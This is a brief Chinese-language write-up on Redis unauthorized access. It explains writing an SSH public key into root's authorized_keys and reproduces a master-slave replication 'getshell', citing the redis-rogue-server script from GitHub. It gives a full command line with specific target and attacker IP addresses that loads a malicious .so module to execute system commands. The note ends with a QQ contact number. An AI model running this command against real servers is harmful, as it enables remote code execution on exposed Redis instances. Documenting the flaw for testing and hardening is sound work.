一、简介
1.Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库，并提供多种语言的API。
2.Redis默认端口：6379，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中，进而可以直接登录目标服务器。
二、漏洞复现
目标系统的权限不够redis用户无法写计划任务和公钥，而且也没有开放ssh端口。
主从复制getshell，写入恶意的so文件达到执行系统命令的目的。
github上有一键可以利用的脚本
https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/
python3 redis-rogue-server.py --rhost 123.58.224.8 --rport 42491 --lhost 124.222.144.244
qq号：2247360894